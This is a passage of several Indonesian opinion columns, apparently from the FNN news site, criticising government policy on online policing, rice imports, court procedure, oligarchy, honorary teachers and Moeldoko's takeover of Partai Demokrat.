dicoba. Penulis adalah Pemerhati Politik dan Kebangsaan.

"Polisi Pikiran"

by Zainal Bintang Jakarta FNN - Kepolisian Republik Indonesia menginisiasi pembentukan polisi yang bukan polisi sebagaimana yang senyata-nyatanya atau sehari-hari. Bukan polisi seperti yang kita jumpai selama ini. Rabu, 24 Februari 2021 lalu, Polri meluncurkan program ”Virtual Police”. Menurut Kamus Besar Bahasa Indonesia (KBBI), virtual memiliki tiga arti atau makna. Pertama, disebut secara nyata. Kedua, adalah mirip atau sangat mirip dengan sesuatu yang dijelaskan. Sederhananya, virtual adalah mirip dengan sesuatu yang dijelaskan melalui perantara internet. Jika berpegang kepada pengertian “mirip dengan sesuatu”, maka sederhananya “Virtual Police” dapat dianalogikan dengan “Polisi Buatan atau Polisi Tiruan”. Virtual adalah segala komunikasi yang dilakukan secara maya untuk terhubung dengan lawan bicara. Disebutkan, tugas “Polisi Tiruan” itu adalah langkah preventif memotong penggunaan pasal karet UU ITE. Bertujuan menahan laju korban yang mungkin berjatuhan akibat pengaduan sepihak kepada polisi. Juru bicara Polri mengatakan, diharapkan hal itu sebagai bagian dari upaya menjaga Kamtibmas di dunia digital agar tetap bersih, sehat dan produktif. Kebijakan Polri membentuk “Polisi Tiruan” dapat dianalogikan sebagai upaya negara menata kehidupan masyarakat. Selain itu, untuk melindungi masyarakat dari penyimpangan peraturan yang dapat berakibat kasus hukum. Intensitas tingginya kepedulian negara kepada warga masyarakat juga dilakukan oleh pemerintah Jepang. Pemerintah Jepang menginisiasi terbentuknya “Kementerian Kesepian” (Ministry of Loneliness). Perdana Menteri Jepang, Yoshihide Suga, menunjuk Tetsushi Sakamoto untuk menjabat sebagai Menteri Kesepian. Penunjukan itu dilakukan pada Jumat, 12 Februari 2021. Pemerintah Jepang menunjukkan keseriusan melindungi warganya dari dampak pandemi Covid-19. Meskipun isolasi mandiri diberlakukan, angka kematian semakin meningkat. Bukan karena Covid-19. Akan tetapi akibat bunuh diri. Banyak warga Jepang diduga merasa kesepian, stres, depresi hingga berujung nekat mengakhiri hidupnya. Antara lain disebabkan isolasi yang sangat panjang. Mantan reporter surat kabar Tetsushi Sakamoto yang terpilih. Dia adalah politisi dan anggota “House of Representatives in the Diet” (Badan Legislatif Nasional), mewakili Partai Demokrat Liberal. Alumni Universitas Chuo kelahiran 1950. “Saya ingin anda mengendalikan masalah itu dan membuat strategi yang komprehensif”, kata Suga kepada Sakamoto, seperti diberitakan Nikkei Asia, Sabtu (20/02/2021). Penggunaan alat bantu yang “extraordinary” oleh Polri di Indonesia dan yang diperbuat juga pemerintah Jepang sendiri, pernah diimajinasikan sastrawan Inggris, George Orwell di novelnya yang berjudul “Nineteen Eighty-Four”, yang disingkat “1984”. Diterbitkan 1949. Orwell mencoba memprediksi kehidupan dan akibat yang ditimbulkan kemajuan teknologi 35 tahun ke depan, pada tahun 1984. Tokoh utamanya Winston Smith. Wiston menjadi anggota partai Sosing yang berkuasa di negara Oceania (Britania Raya). Winston adalah pengabdi setia yang sangat taat kepada sang pengendali partai bernama Bung Besar (Big Brother). Ia bekerja di “Kementerian Kebenaran” (Ministry of Truth). Khusus bagian berita dan propaganda yang bertujuan untuk membentuk opini dan cara berpikir masyarakat yang sesuai dengan visi partai. Winston dengan suka cita melakukan tugas-tugasnya setiap hari. Kemudian ia menyadari, akibat kerajinannya itu, masyarakat tidak mengetahui lagi bagaimana kehidupan mereka sebenarnya berjalan. Hidup berputar begitu saja dari masa lalu menuju masa sekarang. Sejarah tidak mereka ketahui lagi dengan jelas. Itu memang target utama partai untuk membolak-balik realitas dengan mengubah dan membentuk kebenaran sesuai dengan kehendak partai. Dunia dalam novel “1984” sangat kejam, penuh pertentangan, konflik akibat peperangan yang telah menjadi kebiasaan-tanpa henti, membuat dunia dalam kegelapan panjang. Pada saat yang sama kebebasan Winston yang ditemukannya dalam kenikmatan menulis dan mendiskusikannya dengan sang pacar Julia, namun tidak berlangsung lama. Harapan Winston tentang dunia yang damai, bebas, tenang tanpa intervensi sistem atau struktur kekuasaan lainnya nampaknya tidak pernah terwujud. Kebahagiaan Winston dengan Julia dan kebebasan berpikirnya terendus oleh “Polisi-Pikiran” (Thought-Police) yang dibentuk khusus, sebagai penindak lanjut segala bentuk isi kebijakan dan garis pikiran yang telah ditetapkan oleh Bung Besar. Celakanya, partai menuduh Winston dan sang pacar telah melakukan kejahatan seks dan kejahatan pikiran. Mereka diciduk saat sedang bercinta.Winston dan Julia dikriminalisasi. Dipidana melakukan kejahatan seksual. Dunia Winston berputar-putar tak menentu. Realitas menjadi kabur. Masyarakat tidak mengetahui lagi mana yang benar mana yang salah. Mana yang nyata mana yang bohong. Poster “Bung Besar Sedang Mengawasi Saudara” ada di mana-mana. Seolah-olah mengawasi gerak-gerik setiap orang. Tersebar alat teleskrin yang sengaja dipasang di banyak tempat. Tugasnya selalu memberitakan tentang kemenangan pasukan militer partai. Juga tentang kestabilan ekonomi, dan tentang taraf hidup masyarakat yang semakin membaik. Namun pada kenyataannya, sekedar untuk menemukan barang seperti pisau cukur saja, Winston harus membohongi beberapa orang untuk menyimpan stok pisau cukur. itu pertanda langkanya barang tersebut. Alur cerita novel satiris yang ditulis Owell pada 1949 terasa ada pantulan pada kondisi sosial politik Indonesia hari ini. Ada getaran keresahan masyarakat secara nasional. Apatisme menyebar ke mana-mana. Kecemasan menjalar dan melebar. Lembaga survei Indikator Politik, 25 Oktober 2020 merilis hasil penelitian terkait demokrasi dan kebebasan berpendapat di Indonesia. Salah satu hasil survei menyebutkan, mayoritas responden saat ini ada ketakutan untuk mengeluarkan pendapat. Direktur Eksekutif Indikator Politik Indonesia, Burhanuddin Muhtadi, mengatakan, survei ini diawali dengan pertanyaan ”setuju atau tidak warga makin takut menyatakan pendapat”?. Burhanuddin mengatakan, masyarakat cenderung takut mengeluarkan pendapat saat ini. Hasil survey menunjukkan, ”sangat setuju 21,9 persen”. Yang menyatakan agak “cenderung setuju dengan pernyataan ini 47,7 persen”. Yang “kurang setuju 22,0 persen”. Dan yang “tidak setuju sama sekali 3,6 persen”, katanya dalam rilis survei terbaru bertajuk ”Politik, Demokrasi, dan Pilkada di Era Pandemi” secara daring. Menurut Muhtadi, hasil survei ini menjadi peringatan bagi pemerintah agar lebih memperhatikan suara masyarakat yang tidak pro, apa pun pendapatnya. Ini alarm, kata Muhtadi, lagi-lagi kami ingatkan, ada situasi di bawah alam sadar masyarakat mulai takut ngomong. Padahal dalam konteks demokrasi partisipatoris, warga justru harus didorong berbicara apa pun isinya, terlepas berkualitas atau tidak berkualitas. “Apa pun pendapat mereka, pro atau kontra dalam demokrasi harus mendapat tempat yang sama,” tegas Muhtadi. Sampai hari ini, residu pemilu 2019 di Indonesia masih menyisakan keterbelahan. Perang konten kasar di medsos masih berlanjut. Debat kusir yang kasar di televisi tetap marak. Tidak ada kesembuhan. Hasil Pemilu tidak mampu mengubah apa-apa. Meskipun kabinet sudah diisi menteri representasi tokoh oposisi. Namun kompromi politik yang instan itu nampaknya seperti tidak mampu memadamkan api dalam sekam. Sikap kritis masyarakat terus bergejolak di bawah permukaan oleh berbagai kebijakan yang kontroversial. Pada saat yang sama korban berjatuhan dalam jeratan perangkap UU ITE,yang diakui presiden Jokowi mengandung banyak pasal karet. Pasal karetnya itulah yang memberi wewenang kepada siapa saja dengan mudahnya menjadi pelapor. Ramai diberitakan, Kwik Kian Gie dan mantan menteri Susi Pujiastuti pun mendadak takut berpendapat. Banyak yang cemas dan berdoa semoga “Virtual Police” bukanlah semacam “Polisi Pikiran” yang berganti casing, yang tetap bertugas secara senyap mengekang kebebasan berpendapat, memiliki kekebalan hukum dan kebebasan mengintervensi rongga alat komunikasi yang paling pribadi seseorang, semacam telepon genggam sekalipun. Sasarannya, sekedar pikiran senyap belaka. Lalu, bagaimana caranya memastikan kalau percakapan virtual seseorang tidak ditafsir sesuai kepentingan kekuasaan oleh sang “Polisi Tiruan” tersebut? Diwilayah manakah posisi “Virtual Police” alias “Polisi Tiruan” akan menempatkan diri? Rekan wartawan senior kembali mengirim pesan WhatsApp yang sendu pada dinihari yang dingin karena hujan semalaman, “mari kita tanyakan pada rumput yang bergoyang”. Mengutip bait lagu “Berita Kepada Kawan” karya Ebit.G.Ade yang ditulis setelah bencana gas beracun di Dataran Tinggi Dieng, Juni 1978. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Politik Beras Anti Petani

RITUAL tahunan sedang berlangsung, dimana cadangan beras masih tinggi, ditambah produksi beras meningkat signifikan, tapi Pemerintah memutuskan impor beras 1 juta-1,5 juta ton. Ritual ini adalah wajah politik perberasan nasional, dimana posisi petani tidak dianggap sebagai elemen penting, kalau bisa dinegasika lewat impor beras. Mari kita tengok data perberasan kota. Dirut Bulog Budi Waseso menyatakan stok beras Bulog masih aman di lebel 2,2 juta ton. Angka itu cukup untuk mengamankan pangan nasional selama 8 bulan ke depan. Badan Pusat Statistik (BPS) sendiri mengumumkan total produksi beras nasional tahun ini diperkirakan mencapai 14,5 juta ton. Jumlah itu 3,2 juta ton atau 26,84% lebih banyak banyak dibandingkan produksi beras tahun lalu. Jika dikirangi dengan konsumsi pangan nasional, menurut BPS, maka masih ada surplus beras tahun ini sebanyak 12 juta ton. Ini juga mengkonfirmasi bahwa kegiatan produksi beras petani tidak terpengaruh oleh gegap gempitanya pandemi Covid-19 yang menurut banyak pakar menghentikan kegiatan ekonomi. Nyatanya tidak sama sekali, terbukti dari pertumbuhan produksi padi yang mencapai 26,84%. Sungguh berkah dan mulia karya para petani. Namun petaka itu justru datang dari Pemerintah, tepatnya dari Menko Perekonomian Airlangga Hartarto dan Menteri Perdagangan Muhammad Lutfi. Mengingat, ungkap Buwas, dua menteri itulah dibaik kebijakan Pemerintah yang ingjn mengimpor beras 1 juta hingga 1,5 juta ton. Darimana Buwas tahu? Karena sebagai Dirut, Buwas ternyata dapat perintah mengimpor beras sekitat 500 ribu ton. Buwas pun bicara dengan Presiden Jokowi bahwa stok beras Bulog masih aman, ia pun menyarankan agar Pemerintah tidak perlu mengimpor beras. Apa salahnya impor beras? Tentu saja secara kasat mata impor beras disaat stok dan produksi beras sangat besar, tentu akan memukul harga beras perani. Peluang petani menikmati untung dari beras hasil panennya pun hilang. Bahkan peluang petani jadi kaya pun lenyap. Boleh jadi harga beras petani jatuh, karena guyuran beras impor asal Thailand. Lantas siapa yang ambil untung? Sudah menjadi rahasia umum bahwa para pemburu rente (rent seeker), ada juga yang menyebut para mafia lah yang diuntungkan dalam politik perberasan yang berlangsung saat ini. Memang benar kalau ada yang mengatakan politik perberasan kita beberapa tahun terakhir anti petani, anti anak negeri, anti kemakmuran untuk anak bangsa.

Kalau Sidang HRS Langsung, Apa Sulitnya Mencegah Kerumunan?

by Asyari Usman Medan, FNN - Habib Rizieq Syihab (HRS) mengatakan, dia dihinakan oleh para petugas yang memaksa dirinya masuk ke ruangan Bareskrim Polri untuk mengikuti sidang online (daring alias dalam jaringan). HRS marah. Dia merasa hak asasinya dilanggar kalau dipaksa sidang daring. Tadi siang, 19 Maret 2021, HRS dipaksa mengikuti sidang daring itu setelah hakim memerintahkan petugas untuk menghadirkan Imam Besar FPI tsb di depan kamera di Bareskrim. Perintah inilah yang membuat para petugas memaksa HRS. Majelis Hakim Pengadilan Negeri Jakarta Timur tidak menyetujui permintaan HRS agar dia dhadirkan langsung di ruang sidang. Menurut hakim, permintaan itu tak bisa dikabulkan karena diperkirakan akan menimbulkan kerumunan. Hakim atau majelis hakim punya kuasa penuh di pengadilan. Tapi, sekiranya HRS dihadirkan langsung di ruang sidang, apakah memang sulit menjaga agar tidak terjadi kerumunan? Tampaknya, tidak ruwet. Kalau semua pihak, terutama majelis hakim, berkenan menghadirkan HRS di ruang sidang. Majelis bisa memerintahkan agar kejaksaan dan kepolisian mengamankan komplek PN Jakarta Timur supaya tidak didatangi oleh para simpatisan HRS. Bisa diatur pula agar orang-orang lain yang berurusan ke PN tetap berjalan normal. Petugas bisa mengisolasi gedung PN Jakarta Timur selama sidang berlangsung. Ini bukan bentuk pengistimewaan kepada HRS. Dia berkeberatan sidang online karena sering terganggu sinyal. Suara hilang atau gambar tersendat-sendat. Pengalaman inilah yang membuat HRS tidak nyaman dengan sidang daring. Keberatan HRS sangat wajar. Sebab, dia tidak ingin satu kata pun yang diucapkan oleh semua pihak di ruang sidang, tidak terdengar dengan jelas. Setelah permintaan hadir langsung ditolak, HRS kemudian menyatakan bahwa dia rela sidang dilanjutkan tanpa kehadiran online maupun secara langsung. Dia siap menerima hukuman seberat apa pun yang dijatuhkan pengadilan. Betul bahwa majelis hakim harus mengikuti peraturan Mahkamah Agung (MA) tentang sidang daring di masa pendemi Covid-19. Namun, sangat masuk akal juga permintaan HRS untuk hadir langsung. Dia ingin memastikan agar sidang berjalan ‘clear’ dan ‘clean’ (jelas dan bersih). Para hakim sudah diingatkan bahwa “lebih baik membebaskan 1,000 orang yang bersalah daripada menghukum satu orang yang tak bersalah”. Adagium ini bermakna bahwa kepentingan seorang terdakwa jaub lebih tinggi dari kepentingan pihak-pihak lain yang berwenang di persidangan. Semoga majelis hakim tidak terlalu kaku. Kalau perlu, sidang HRS bisa saja dilaksanakan di komplek MA. Supaya lebih aman. Semakin tidak mungkin terjadi kerumunan.[] Penulis adalah Wartawan Senior FNN.co.id.

Konstitusi Yang Disiapkan Oligarkis

by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Hukum untuk bangsa (law of the nation), begitu sakralisasi politik terhadap UUD atau konstitusi. Untuk tujuan itu, konstitusi dengan sendirinya menyandang sifat “supreme” dalam jajaran hukum pada bangsa itu. Itulah akar konsep konstitusionalisme. Darinya mengalir hukum-hukum lain yang bersifat organik. Berlevel rendah dari konstitusi dalam lingkungan negara bangsa itu. Darinya pula sistem hukum untuk bangsa dan negara tercipta. Bukan sistem, kalau unsur-unsur di dalamnya saling menyangkal. Terbentuklah apa yang disebut tertib hukum. Konstitusionalisme liberal, untuk semua alasan yang sejauh ini telah teridentifikasi, tidak benar-benar terisolasi dari citarasa oligarkis. Sifat itu disandang konstitusi. Bukan karena huruf-huruf konstitusi menulisnya. Sama sekali tidak. Unggul Dalam Deteil Sifat itu tersandang padanya karena konstitusi tidak pernah biacara hal detail. Oligarki mengenal ini. Mereka unggul dengan kecermatannya mengidentifikasi deteil huruf, kata dan kalimat konstitusi. Selain UU tidak menulis jangkauan wewenang pemerintah secara detail, terdapat tiga hal hebat yang mengantarkan oligarki ke puncak kehidupan ekonomi, politik dan hukum. Ketiga hal itu adalah “equality before the law” dan “liberty” serta “freedom”. Ketiga konsep itu tidak dapat diisolasi, sehingga jangkauannya meliputi semua orang. Tetapi konsep hebat itu, untuk semua alasan inetelektual apapun, mengandung konsekuensi tak terlihat. Tentu tak dikehendaki, uninteded consequences. Hebatnya kalangan oligarki melihatnya dengan mudah. Berbekal pengetahuan teknis itu, oligarki merancang jalan menuju puncak kehidupan ekonomi, sosial, politik dan hukum. Jalan ini, karena lika-liku di dalamnya tak mampu didaki orang-orang miskin. Orang miskin justru menggunakan konsep itu sebagai barometer penilaian atas tindakan-tindakan pemerintah. Pembaca FNN yang budiman, kaum oligarkis tahu detail konsekuensi konsep supremacy of law. Mereka berbeda sudut pandan dan jalan dengan Ilmuan konvensional di dunia hukum. Kalau ilmuan konvensional menyambut konsep “supremacy of law” sebagai benteng atas kesewenang-wenangan, oligarki lain lagi melihatnya. Kalangan oligarkis tahu UUD tidak pernah rigid, deteil mengatur batas jangkauan wewenang presiden atau perdana menteri. Di kepala kaum oligarkis, UUD itu dokumen telajang, setelanjang kehidupan rakyat yang tak terdefenisikan, dinamis dan harus diurus. Tindakan mengurus, suka atau tidak haru berdasar hukum, karena diwajibkan oleh konsep “supremacy of law”. Ini hebatnya oligarki. Karena harus berdasarkan hukum, dan hukum harus dibuat. Oligarki tahu itu, dan tahu apa yang harus dilakukan. Cara termudah adalah kuasai pembentukan UU, sehingga huruf-huruf dalam UU itu mengakomodasi kepentingan mereka. Mengapa harus menulisnya? Oligarki tahu, tidak ada aktifitas ekonomi, apapun itu yang tidak berawal dari dan berkait dengan hak. Hak, suka atau tidak, tidak bersumber dari apapun, selain hukum. Pembentukan UU, tidak pernah lain selain sebagai penegasan hak, kewajiban dan prosedur. Begitulah sebagian dari cara berpikir oligarki. Salahkah ini? Oligarki dapat dengan mudah mengatakan tidak. Anda juga dipersilahkan menempuh cara yang sama. Oligarki bisa dapat meyakinkan pembentuk UU untuk membentuk UU tentang lobby agar tersedia rule of the game yang sama bagi semua orang. Pembaca FNN yang budiman. Tahukah anda bahwa UUD Amerika Serikat tidak menulis tentang Bank Sentral yang sekarang terkenal dengan nama “The Federal Reserve”? Tidakkah pembaca FNN yang budiman juga tahu bahwa UUD Amerika tidak mengatur corporasi sebagai subyek hukum? Kenyataannya Amerika memiliki The Federal Reserve. Amerika juga memiliki “corporation” sebagai subyek hukum. Pemerintah yang memiliki sikap anti trust sekalipun, dalam kenyataannya tidak dapat berkelit dari, kalau bukan tekanan dari panduan oligarki keuangan dan korporasi. Thedore Rosevelt, Presiden Amerika 1901-1908, dikenal dengan kebijakan Trust Busting-nya, sempat kelimpungan menghadapi korporasi. JP Morgan misalnya, menghadap Tedy begitu Theodore Rosevelt sang Presiden disapa. Kepada Teddy, JP Morgan mengatakan “bila ada yang salah dari kami, kirimkan orang anda ketemu orang kami, dan kita bicara”. Indonesia disepanjang paruh kedua tahun 1980-an dan sepajang tahun 1990-an sebelum reformasi, ramai dengan kritikan kaum intelektual soal politik dan ekonomi soal dominasi dan sepak terjang konglomerat. Begitu nadanya sangat negatif. Kelompok ini besar dan dibesarkan dengan fasilitas pemerintah. Begitulah nadanya. Konglomerat, dalam nada negative disamakan dengan predator dan monster politik ekonomi. Mereka tumbuh menjulang di tenghn kemiskinan yang terus menggunung. Akhirnya UUD 1945 yang sebelum diubah, untuk sebagian, ditunjuk sebagai penyebabnya. Pilihannya UUD 1945 harus diubah. Saatnya pun tiba dan UUD 1945 benar-benar diubah. Menariknya, perubahan itu dilakukan dengan cara yang satu dan lainnya sama sekali tidak direncanakan. Tak pernah diproyeksikan dalam kerangka pemikiran hukum “unintended consequenses”. Masa jabatan presiden memang dibatasi. Presiden tidak lagi dipilih MPR. Rakyat diberi hak memilih langsung presiden dan wakil presiden. Kepala daerah juga begitu. Bank Indonesia dan Hak Asasi Manusia diatur dalam dalam UUD reformasi ini. Prinsip ekonomi digariskan dalam pasal 33. Terlihat top untuk sejenak bagi orang miskin. Apakah begitu kebnyataannya? Itu soalnya. UUD reformasi ini tidak dapat menjinakan korporasi. Mereka tidak terjauhkan dari dunia politik pilpres, pileg, ekonomi dan hukum. Tidak sama sekali. Mereka masih tetap bercokol, bahkan semakin kuat dan menguasai. Tak Terhalang Oligarki tidak pernah surut, atau mengambil posisi belakang. Bagai buih, oligarki selalu berada di depan dan di permukaan gelombang semua lautan politik, ekonomi, hukum dan sosial budaya. Untuk yang di permukaan, mengarahkan dan memberi bobot terhadap kehidupan politik dan ekonomi pada tatanan politik dua partai, itulah mereka. Di politik bersistem multi partai juga sama. Malah semakin banyak partai, semakin menyenangkan oligarki bercokol dan mengatur. Oligarki tahu dunia tidak berubah. Dunia dan hidup diciptakan untuk diubah. Perubahan tidak pernah datang dengan sendirinya. Perubahan harus direncakanakan. Perubahan yang direncanakan sama dengan perubahan yang dikendalikan. Postur politik dan hukum, suka atau tidak, harus direncanakan dan dikendalikan. Ini pekerjaan besar dalam semua aspeknya. Pekerjaan ini, suka atau tidak, terlalu jauh jaraknya dari jangkauan tangan para kaum reformasi. Sepanjang sejarah yang naik turun, gelap dan terang, pekerjaan besar itu selalu menjadi pekerjaan para oligarkis. Kaum yang kokoh dengan harapan, dan tangguh menyusuri lika-liku ekonomi, politik dan hukum, dengan cara yang begitu kaya, selalu menjadi pengarah perubahan. Memang terdapat sekelompok presiden yang teridentifikasi mengambil jalan berseberangan dengan kaum ini. Tetapi waktu berlalu bersama kesuksesan demi kesuksesan kaum oligarki. Teddy Rosevelt yang kukuh membatasi korporasi berkarakter trust, tak dapat benar-benar mengentikan mereka. William Howard Taft, Presiden yang profesor tata negara ini, juga sama. Berkelahi dengan korporasi, tetapi ketika ujung jabatannya tiba, dia menemukan diri, oligarki keuangan telah menentukan peluit untuk dia harus minggir dari kursi Presiden Amerika. Turky Usmaniah, harus tenggelam untuk selamanya segera setelah Woodrow Wilson, presiden yang dibiayai pencalonannya oleh oligarki keuangan ini, mencanangkan “Internationalization of Freedom”. Dengan konsep itu, bergemalah di seluruh dunia “kemerdekaan”. Teritori-teritori Turki Usmaniah menyambutnya. Pecahlah integrasi bangsa itu. Turky Usmaniah pun tamat. Hanya presiden pintar, dan punya hati yang pada batas tertentu, dapat menjinakan kelompok yang hanya tahu untung pada semua tampilannya itu. Profesor Soepomo, arsitek UUD 1945 menyatakan “hal terpenting dalam penyeleggaraan negara adalah semangat penyelenggara negara”. Woodrow Wilson juga mengakui itu. Presiden ini diketahui pernah berkata dalam menyelenggarakan pemerintahan, bukan UUD yang terpenting, tetapi “who behind the bussinis”. Puluhan tahun kemudian, Dwig H. Eisenhower, Presiden Amerika sesudah Truman bilahg, “konstitusi boleh saja menulis begitu banyak kewenangan presiden, tetapi dalam kenyataan tergantung siapa presiden dibalik konstitusi itu. Hanya oligarki bodoh yang memimpikan seseorang menjadi presiden berkali-kali. Sejarah telah jelas dalam soal ini. Berapapun lamanya masa jabatan presiden, oligarki selalu berada di hulu dan hilir semua aspek kehidupan. Suka atau tidak, konstitusionalisme selalu didekorasi oleh kaum oligarkis. Apakah Indonesia mirip-mirip itu, kalau tidak dibilang sama persis? Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Komite III DPD RI Mendukung Guru Honorer Menjadi PNS Tanpa Tes

by Tamsil Linrung Jakarta FNN - Konon, bangsa yang besar adalah bangsa yang menghargai jasa pahlawannya. Konon, guru adalah pahlawan tanpa tanda jasa. Tetapi teramat sulit melihat relasi yang menjembatani dua ungkapan itu pada persoalan guru honorer. Sudah jatuh tertimpa tangga pula. Problem guru honorer justru terasa lekat dengan pribahasa yang sangat ini. Mereka punya kewajiban besar dengan hak yang super minimalis. Mereka diharapkan profesional, namun tidak diberikan kepastian kerja. Dan mereka telah mengabdi puluhan tahun, namun tak kunjung menerima apresiasi layak dari negara. Sebagian guru honorer, bahkan telah menghabiskan separuh hidupnya mencetak generasi penerus bangsa. Mereka, yang seluruhnya telah berumur di atas 35 tahun ini, membentuk wadah Guru dan Tenaga Kependidikan Honorer Non Kategori 35 tahun ke atas (GTKHNK 35+). Melalui wadah itu, para pahlawan tanpa tanda jasa ini memperjuangkan dirinya. Meraka bukan sedang melawan penjajah Asing, tetapi mereka melawan arogansi pengelola negerinya sendiri. Saya sebut arogan karena negara seperti menutup mata pada jasa panjang pengabdian mereka sebagai guru honorer non kategori 35 tahun ke atas. Untuk guru, pemerintah sepertinya sangat kekurangan anggaran. Tetapi tidak untuk yang lain. Lekat diingatan, pemerintah pernah begitu bersemangat "menggaji" pengangguran melalui kartu pra kerja. Program yang sempat menyebarkan bau anyir kerugian negara itu. Ini sebuah kebijakan yang anomali. Dalam kacamata pemerintah, perekrutan guru melalui skema Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) dipoles sedemikian rupa, seolah menjadi jalan keluar terbaik. Padahal, bagi guru honorer, konsep ini secara sederhana tak lebih dari perpindahan satu area ketidakpastian kerja menuju wilayah ketidakpastian kerja yang lain. Substansinya, sama-sama tenaga kontrak. Kebijakan PPPK tidak menunjukkan keberpihakan negara kepada guru honorer, khususnya GTKHNK 35+. Rekrutmen PPPK didesain mempertemukan persaingan antara GTKHNK 35+ dengan guru baru Non PNS lulusan sekolah guru. Padahal, sebagian dari mereka adalah mantan murid GTKHNK 35+. Maklum, tidak sedikit GTKHNK 35+ telah berusia 40 hingga 50 tahun dan telah mengabdi selama 20 tahun. Cara itu sungguh terlihat tidak adil dan zalim. Pertama, karena kegiatan pelatihan peningkatan kualitas guru cenderung tidak memprioritaskan, bahkan bisa disebut mengabaikan GTKHNK 35+. Kedua, pengabdian puluhan tahun mengajar seolah tidak dipandang dan diapresiasi oleh pemerintah. Usia produktif GTKHNK 35+ selama ini telah dikuras habis oleh negara melalui pengabdian panjang. Mereka berhasil mencetak generasi bangsa, anak cucu kita. Ketiadaan perlindungan negara adalah cara tak langsung pemerintah mencampakkan guru honorer senior GTKHNK 35+. Sementara itu, guru honorer GTKHNK 35+ tak punya banyak pilihan. Mereka pada dasarnya cinta pada profesi yang mulia ini. Tidak ada yang ingin lepas darinya. Lagi pula, kalau pun ingin lompat pagar ke lain profesi, kita tahu ketersediaan lapangan kerja semakin sulit, terlebih dalam usia 35 tahun ke atas. Kemanakah empati pemerintah? Kebutuhan Guru Saat ini, kebutuhan guru di Indonesia sebesar 2,2 juta PNS. Namun, yang baru terisi baru 1,1 juta guru PNS. Inilah alasan pemerintah mengadakan perekrutan guru. Semakin mendesak karena tahun ini saja sebanyak 69.000 guru PNS akan memasuki masa pensiun. Perekrutan guru adalah langkah baik. Namun, terlebih dahulu membenahi problem akut guru honorer semestinya menjadi prioritas pula. Jangan mengambil solusi baru sebelum menyelesaikan problem yang telah mengakar lama. Toh keduanya bisa berjalan paralel. Sementara PPPK yang dianggap solusi, faktanya tidak menyelesaikan masalah. Jumlah guru honorer 742.000. Sebanyak 59 persen atau 437 ribu di antaranya berusia 35 tahun ke atas (GTKHNK 35+). Mereka inilah yang sedang berpacu dengan waktu, berjuang di antara dilema usia non produktif dengan kepastian kerja dan jaminan masa depan. Bila ke-437 ribu GTKHNK 35+ tersebut diharuskan mengikuti seleksi, bisa dipastikan beberapa diantaranya tidak akan lulus. Lalu, bagaimana nasib mereka selanjutnya? Apakah dibiarkan menunggu tes tahun berikutnya? Sampai kapan? Kita tentu saja sangat mengapresiasi solidaritas GTKHNK 35+ yang telah dibangun diantara mereka. Mereka tidak ingin saling meninggalkan, sehingga bertekad bersama-sama tidak mengikuti jalur PPPK yang diadakan pemerintah. Semestinya sikap itu telah cukup memberi sinyal kuat kepada pemerintah untuk menyadari bahwa ada problem besar yang tidak dapat dijangkau oleh PPPK. Tetapi pemerintah melalui Kementerian Pendidikan dan Kebudayaan tetap memaksakan program ini sebagai solusi bagi keseluruhan tenaga pengajar honorer. Apa boleh buat. demi memperjuangkan haknya, pengurus dan anggota GTKHNK 35+ terpaksa mengonsolidasi perjuangnnya dari bawah, meminta dukungan kesana-kemari. Mereka menyambangi pemerintah daerah masing-masing, mengunjungi Kantor DPRD setempat, dan juga bergerilya di Pusat dengan mendatangi gedung DPD RI dan DPR RI. Kepada institusi-institusi itu, mereka memohon dukungan ketika kemendikbud yang seharusnya mengayomi dan memperjuangkan kepentingan GTKHNK 35+ justru memalingkan muka. Dukungan Komite III DPD GTKHNK 35+ beberapa saat lalu (Rabu sore 17 Maret) juga telah melakukan audiensi dengan kami, Pimpinan dan Anggota Komite III DPD RI. Banyak cerita haru terdengar. Dari mereka, kami menjadi lebih paham betapa sulitnya memperjuangkan hak di negeri ini. Dari Audiensi tersebut, Komite III DPD RI sepakat mendukung sepenuhnya pengangkatan GTKHNK 35+ menjadi PNS tanpa harus melalui tes. Mereka, bagaimana pun juga, telah berkontribusi membangun sektor pendidikan karena kecintaannya pada profesi ini. Kini saatnya negara membalas pengabdian itu dengan status PNS. Ini bukanlah permintaan yang berlebihan. Dalam konteks itu, kami meminta salah satu dari dua hal berikut: pertama, agar Presiden Joko Widodo segera menerbitkan Peraturan Presiden (Peppres) tentang pengangkatan guru honorer menjadi PNS, khususnya guru honorer usia 35 tahun ke atas. Dengan Peppres ini, percepatan penyelesaian problem guru honorer Secara menyeluruh dapat disegerakan. Tuntutan penerbitan Peppres juga telah disuarakan oleh GTKHNK 35+ saat menggelar rapat koordinasi nasional di ICC Kemayoran, beberapa saat lalu. Kedua, agar pengangkatan guru honorer usia 35 tahun ke atas dapat dimasukkan dalam RUU perubahan Nomor 5 Tahun 2014 Tentang Aparatur Sipil Negara yang saat ini tengah digodok di DPR. Insya Allah, dalam kapasitas dan kewenangannya yang serba terbatas, Komite III DPD RI ikut bergerak untuk tujuan ini. Negara harus memahami, usia guru honorer GTKHNK 35+ tidak lagi produktif menjajal profesi baru. Pemerintah harus memahami itu, tidak justru abai mengelola SDM-nya, terlebih SDM yang tugas pokoknya melahirkan SDM baru. Bangsa yang besar adalah bangsa yang menghargai jasa pahlawannya. Sebagai pahlawan tanpa tanda jasa, semua guru harus masuk dalam kategori dihargai itu, tanpa kecuali. Penulis adalah Senator DPD RI.

Jokowi Dihadapkan Pada Pilihan Sulit

by M. Rizal Fadillah Bandung FNN - Cara kudeta kasar dan melabrak hukum yang dilakukan Kepala Kantor Staf Presiden (KPS) Moeldoko menempatkan Presiden Jokowi serba salah. Kelakuan Moeldoko sekarang berdampak pada pilihan sulit bagi Jokowi. Sebagai Presiden, Jokowi harus berpura-pura netral. Terpaksa berujar bahwa soal Konres Luar Biasa (KLB) Partai Demokrat di Sibolangit, Deli Serdang Sumatera Utara adalah masalah intern Demokrat. Tuntutan agar menegur, bahkan memecat Moeldoko bukan hal mudah. Sebab sukses Moeldoko sebagai Ketum Partai Demokrat dipastikan menguntungkan kepentingan politik Jokowi. Moeldoko bisa dipakai Jokowi untuk merealisaskan kepentingan politik jangka pendek, maupun jangka. Itu pun dengan catatan kalau Mooldoko diberikan SK Menkumham sebagai Ketua Umum Partai Demokrat. Memecat dan mengganti dengan pejabat lain sama saja dengan mengorbankan salah satu benteng Istana. Moeldoko adalah jagoan yang berani atau nekat dalam melangkah. Mantan Panglima TNI ini meski berambisi, tetapi tetap loyal kepada Jokowi. Trium Virat benteng kekuasaan bersama 